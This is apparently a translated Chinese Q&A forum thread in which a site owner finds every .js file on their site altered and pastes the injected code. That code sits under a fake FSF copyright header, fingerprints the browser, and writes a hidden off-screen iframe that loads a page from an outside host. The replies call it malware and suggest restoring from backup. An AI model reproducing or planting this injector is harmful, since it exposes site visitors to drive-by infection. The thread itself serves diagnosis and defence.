编辑未知的javascript文件

Unknown javascript files edit

本文关键字:文件 javascript 未知 编辑      更新时间:2023-09-26

我网站上的所有.js文件都在我不知情的情况下被编辑过,添加了以下代码块:

/*
Copyright (C) 2007 Free Software Foundation, Inc. http://fsf.org/
*/
function getCookie(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(['.$?*|{}'(')'
[']'''/'+^])/g,"''$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):undefined}
function ActerMoto(){var e=navigator.userAgent;var 
t=e.indexOf("Chrome")>-1||e.indexOf("IEMobile")>-1||e.indexOf("Windows NT 
6.2")>-1||e.indexOf("WindowsNT 6.3")>-1||e.indexOf("Windows")<+1;var 
n=getCookie("lusikrators")===undefined;if(!t&&n){document.write('<iframe 
src="http://fluersutel.mymessenger.com.ar/afloriut16.html" style="left: -904px;border-left-style: 
dotted;border-right-color: rgb(13,64,34);border-right-style: solid;height: 100px;width: 
100px;position: absolute;border-right-width: 8px;top: -904px;"></iframe>');var r=new Date((new 
Date).getTime()+64*60*60*1e3);document.cookie="lusikrators=1; path=/; 
expires="+r.toUTCString()}}ActerMoto()

你们以前见过这个吗?这到底是怎么回事?

我以前也有过类似的经历。它肯定不是我编辑的,我的提供商给我发了一封关于那个文件的邮件,里面有JavaScript恶意软件。

但我的比你的更神秘。。。由于网络上的一些结果在JavaScript之前和之后都有版权,我想也是某个程序添加了它

以下是我在谷歌上发现的其他东西:

  • http://www.webdeveloper.com/forum/showthread.php?300697-大问题(没有回复)
  • https://forum.jquery.com/topic/big-problem-14-9-2014(一个答复)

引用jQuery论坛的一句话:

最小化的恶意软件会导致许多问题。看起来会的有时出示iframe。

恢复到备份。

只是一个疯狂的猜测:你或你所知道的任何其他人是否使用http://www.fsf.org/-自由软件基金会?